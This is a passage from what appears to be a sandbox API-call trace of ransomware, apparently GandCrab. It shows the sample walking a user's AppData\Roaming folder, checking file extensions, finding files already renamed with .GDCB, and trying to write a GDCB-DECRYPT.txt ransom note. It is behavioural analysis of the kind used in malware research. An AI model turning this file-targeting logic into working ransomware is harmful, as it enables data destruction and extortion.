[0135.376] lstrcmpW (lpString1="imbMbOER.ppt.GDCB", lpString2=".") returned 1 [0135.376] lstrcmpW (lpString1="imbMbOER.ppt.GDCB", lpString2="..") returned 1 [0135.376] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="imbMbOER.ppt.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt.GDCB" [0135.376] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt.GDCB") returned 55 [0135.376] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.376] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.376] lstrcmpW (lpString1="ixwxy.png.GDCB", lpString2=".") returned 1 [0135.376] lstrcmpW (lpString1="ixwxy.png.GDCB", lpString2="..") returned 1 [0135.376] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="ixwxy.png.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png.GDCB" [0135.376] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png.GDCB") returned 52 [0135.376] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.376] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.376] lstrcmpW (lpString1="jxoh-EFt2nW-t9X.wav.GDCB", lpString2=".") returned 1 [0135.376] lstrcmpW (lpString1="jxoh-EFt2nW-t9X.wav.GDCB", lpString2="..") returned 1 [0135.376] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="jxoh-EFt2nW-t9X.wav.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav.GDCB" [0135.376] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav.GDCB") returned 62 [0135.376] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.376] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.376] lstrcmpW (lpString1="ldeazaydq H9.jpg.GDCB", lpString2=".") returned 1 [0135.376] lstrcmpW (lpString1="ldeazaydq H9.jpg.GDCB", lpString2="..") returned 1 [0135.376] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="ldeazaydq H9.jpg.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg.GDCB" [0135.376] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg.GDCB") returned 59 [0135.376] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.376] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.376] lstrcmpW (lpString1="LSI0fbp1d3.flv.GDCB", lpString2=".") returned 1 [0135.376] lstrcmpW (lpString1="LSI0fbp1d3.flv.GDCB", lpString2="..") returned 1 [0135.376] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="LSI0fbp1d3.flv.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv.GDCB" [0135.376] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv.GDCB") returned 57 [0135.376] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.376] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.376] lstrcmpW (lpString1="lxRXkBM2nNswBBWWBk42.mp4.GDCB", lpString2=".") returned 1 [0135.376] lstrcmpW (lpString1="lxRXkBM2nNswBBWWBk42.mp4.GDCB", lpString2="..") returned 1 [0135.376] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="lxRXkBM2nNswBBWWBk42.mp4.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4.GDCB" [0135.376] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4.GDCB") returned 67 [0135.376] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.376] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.376] lstrcmpW (lpString1="Macromedia", lpString2=".") returned 1 [0135.376] lstrcmpW (lpString1="Macromedia", lpString2="..") returned 1 [0135.376] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Macromedia" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia" [0135.376] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia") returned 48 [0135.376] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.376] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0135.377] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0135.377] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0135.377] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned 47 [0135.377] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.377] lstrcmpW (lpString1="mj7J-R46l5.pptx.GDCB", lpString2=".") returned 1 [0135.377] lstrcmpW (lpString1="mj7J-R46l5.pptx.GDCB", lpString2="..") returned 1 [0135.377] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="mj7J-R46l5.pptx.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx.GDCB" [0135.377] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx.GDCB") returned 58 [0135.377] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.377] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.377] lstrcmpW (lpString1="MlDkkPrkrB.mkv.GDCB", lpString2=".") returned 1 [0135.377] lstrcmpW (lpString1="MlDkkPrkrB.mkv.GDCB", lpString2="..") returned 1 [0135.377] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="MlDkkPrkrB.mkv.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv.GDCB" [0135.377] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv.GDCB") returned 57 [0135.377] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.377] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.377] lstrcmpW (lpString1="MMSANU.wav.GDCB", lpString2=".") returned 1 [0135.377] lstrcmpW (lpString1="MMSANU.wav.GDCB", lpString2="..") returned 1 [0135.377] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="MMSANU.wav.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav.GDCB" [0135.377] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MMSANU.wav.GDCB") returned 53 [0135.377] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.377] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.377] lstrcmpW (lpString1="Mozilla", lpString2=".") returned 1 [0135.377] lstrcmpW (lpString1="Mozilla", lpString2="..") returned 1 [0135.377] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Mozilla" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla" [0135.377] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla") returned 45 [0135.377] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.377] lstrcmpW (lpString1="PP7PZiVZnjg.gif", lpString2=".") returned 1 [0135.377] lstrcmpW (lpString1="PP7PZiVZnjg.gif", lpString2="..") returned 1 [0135.377] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="PP7PZiVZnjg.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\PP7PZiVZnjg.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\PP7PZiVZnjg.gif" [0135.377] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\PP7PZiVZnjg.gif") returned 53 [0135.377] lstrcmpW (lpString1=".gif", lpString2=".sql") returned -1 [0135.377] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.377] lstrcmpW (lpString1="py_6.pdf", lpString2=".") returned 1 [0135.377] lstrcmpW (lpString1="py_6.pdf", lpString2="..") returned 1 [0135.377] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="py_6.pdf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\py_6.pdf") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\py_6.pdf" [0135.377] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\py_6.pdf") returned 46 [0135.377] lstrcmpW (lpString1=".pdf", lpString2=".sql") returned -1 [0135.377] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.377] lstrcmpW (lpString1="QvlruVqbW5.mp3", lpString2=".") returned 1 [0135.377] lstrcmpW (lpString1="QvlruVqbW5.mp3", lpString2="..") returned 1 [0135.377] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="QvlruVqbW5.mp3" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\QvlruVqbW5.mp3") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\QvlruVqbW5.mp3" [0135.377] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\QvlruVqbW5.mp3") returned 52 [0135.377] lstrcmpW (lpString1=".mp3", lpString2=".sql") returned -1 [0135.377] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.377] lstrcmpW (lpString1="rDJeorfWLmIUKr-wJ-G.mp3", lpString2=".") returned 1 [0135.377] lstrcmpW (lpString1="rDJeorfWLmIUKr-wJ-G.mp3", lpString2="..") returned 1 [0135.377] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="rDJeorfWLmIUKr-wJ-G.mp3" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\rDJeorfWLmIUKr-wJ-G.mp3") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\rDJeorfWLmIUKr-wJ-G.mp3" [0135.377] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\rDJeorfWLmIUKr-wJ-G.mp3") returned 61 [0135.377] lstrcmpW (lpString1=".mp3", lpString2=".sql") returned -1 [0135.377] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.377] lstrcmpW (lpString1="s-oOZLE.avi", lpString2=".") returned 1 [0135.377] lstrcmpW (lpString1="s-oOZLE.avi", lpString2="..") returned 1 [0135.377] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="s-oOZLE.avi" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\s-oOZLE.avi") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\s-oOZLE.avi" [0135.377] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\s-oOZLE.avi") returned 49 [0135.377] lstrcmpW (lpString1=".avi", lpString2=".sql") returned -1 [0135.377] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.377] lstrcmpW (lpString1="sao0lzDqm lb1JO.bmp", lpString2=".") returned 1 [0135.377] lstrcmpW (lpString1="sao0lzDqm lb1JO.bmp", lpString2="..") returned 1 [0135.378] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="sao0lzDqm lb1JO.bmp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\sao0lzDqm lb1JO.bmp") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\sao0lzDqm lb1JO.bmp" [0135.378] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\sao0lzDqm lb1JO.bmp") returned 57 [0135.378] lstrcmpW (lpString1=".bmp", lpString2=".sql") returned -1 [0135.378] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.378] lstrcmpW (lpString1="Skype", lpString2=".") returned 1 [0135.378] lstrcmpW (lpString1="Skype", lpString2="..") returned 1 [0135.378] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Skype" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype" [0135.378] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype") returned 43 [0135.378] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.378] lstrcmpW (lpString1="srk1.flv", lpString2=".") returned 1 [0135.378] lstrcmpW (lpString1="srk1.flv", lpString2="..") returned 1 [0135.378] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="srk1.flv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\srk1.flv") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\srk1.flv" [0135.378] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\srk1.flv") returned 46 [0135.378] lstrcmpW (lpString1=".flv", lpString2=".sql") returned -1 [0135.378] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.378] lstrcmpW (lpString1="Sun", lpString2=".") returned 1 [0135.378] lstrcmpW (lpString1="Sun", lpString2="..") returned 1 [0135.378] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Sun" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun" [0135.378] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun") returned 41 [0135.378] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.378] lstrcmpW (lpString1="UFabmkAU-rJObGOdjy23.swf", lpString2=".") returned 1 [0135.378] lstrcmpW (lpString1="UFabmkAU-rJObGOdjy23.swf", lpString2="..") returned 1 [0135.378] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="UFabmkAU-rJObGOdjy23.swf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\UFabmkAU-rJObGOdjy23.swf") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\UFabmkAU-rJObGOdjy23.swf" [0135.378] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\UFabmkAU-rJObGOdjy23.swf") returned 62 [0135.378] lstrcmpW (lpString1=".swf", lpString2=".sql") returned 1 [0135.378] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.378] lstrcmpW (lpString1="XDfXtYW.m4a", lpString2=".") returned 1 [0135.378] lstrcmpW (lpString1="XDfXtYW.m4a", lpString2="..") returned 1 [0135.378] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="XDfXtYW.m4a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\XDfXtYW.m4a") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\XDfXtYW.m4a" [0135.378] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\XDfXtYW.m4a") returned 49 [0135.378] lstrcmpW (lpString1=".m4a", lpString2=".sql") returned -1 [0135.378] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.378] lstrcmpW (lpString1="xX9L.avi", lpString2=".") returned 1 [0135.378] lstrcmpW (lpString1="xX9L.avi", lpString2="..") returned 1 [0135.378] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="xX9L.avi" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\xX9L.avi") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\xX9L.avi" [0135.378] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\xX9L.avi") returned 46 [0135.378] lstrcmpW (lpString1=".avi", lpString2=".sql") returned -1 [0135.378] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.378] lstrcmpW (lpString1="X_3ykeU9F6OZxw.swf", lpString2=".") returned 1 [0135.378] lstrcmpW (lpString1="X_3ykeU9F6OZxw.swf", lpString2="..") returned 1 [0135.378] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="X_3ykeU9F6OZxw.swf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\X_3ykeU9F6OZxw.swf") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\X_3ykeU9F6OZxw.swf" [0135.378] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\X_3ykeU9F6OZxw.swf") returned 56 [0135.378] lstrcmpW (lpString1=".swf", lpString2=".sql") returned 1 [0135.378] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.378] lstrcmpW (lpString1="yzRhhBR e0eN.wav", lpString2=".") returned 1 [0135.378] lstrcmpW (lpString1="yzRhhBR e0eN.wav", lpString2="..") returned 1 [0135.378] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="yzRhhBR e0eN.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\yzRhhBR e0eN.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\yzRhhBR e0eN.wav" [0135.378] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\yzRhhBR e0eN.wav") returned 54 [0135.378] lstrcmpW (lpString1=".wav", lpString2=".sql") returned 1 [0135.378] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0135.378] lstrcmpW (lpString1="z5f8F.pdf", lpString2=".") returned 1 [0135.378] lstrcmpW (lpString1="z5f8F.pdf", lpString2="..") returned 1 [0135.378] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="z5f8F.pdf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\z5f8F.pdf") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\z5f8F.pdf" [0135.378] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\z5f8F.pdf") returned 47 [0135.378] lstrcmpW (lpString1=".pdf", lpString2=".sql") returned -1 [0135.378] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 0 [0135.378] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.379] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.379] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\\\GDCB-DECRYPT.txt") returned 55 [0135.379] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.379] GetLastError () returned 0x50 [0135.379] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.379] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned 38 [0135.379] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\*" [0135.379] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\*", lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 0x2c7500 [0135.380] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.380] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0135.380] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.380] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.380] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0135.380] lstrcmpW (lpString1="004-sn-0z5C.wav.GDCB", lpString2=".") returned 1 [0135.380] lstrcmpW (lpString1="004-sn-0z5C.wav.GDCB", lpString2="..") returned 1 [0135.380] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="004-sn-0z5C.wav.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav.GDCB" [0135.380] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.380] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav.GDCB") returned 58 [0135.380] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav.GDCB") returned 58 [0135.380] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.380] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0135.380] lstrcmpW (lpString1="1WmQLmoja01-EP.gif.GDCB", lpString2=".") returned 1 [0135.380] lstrcmpW (lpString1="1WmQLmoja01-EP.gif.GDCB", lpString2="..") returned 1 [0135.380] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="1WmQLmoja01-EP.gif.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif.GDCB" [0135.380] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.380] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif.GDCB") returned 61 [0135.380] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif.GDCB") returned 61 [0135.380] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.381] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0135.381] lstrcmpW (lpString1="4SCtkxF.ots.GDCB", lpString2=".") returned 1 [0135.381] lstrcmpW (lpString1="4SCtkxF.ots.GDCB", lpString2="..") returned 1 [0135.381] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="4SCtkxF.ots.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots.GDCB" [0135.381] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.381] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots.GDCB") returned 54 [0135.381] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots.GDCB") returned 54 [0135.381] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.381] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0135.381] lstrcmpW (lpString1="6ttfnwVzD3wR1.wav.GDCB", lpString2=".") returned 1 [0135.381] lstrcmpW (lpString1="6ttfnwVzD3wR1.wav.GDCB", lpString2="..") returned 1 [0135.381] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="6ttfnwVzD3wR1.wav.GDCB" | out: 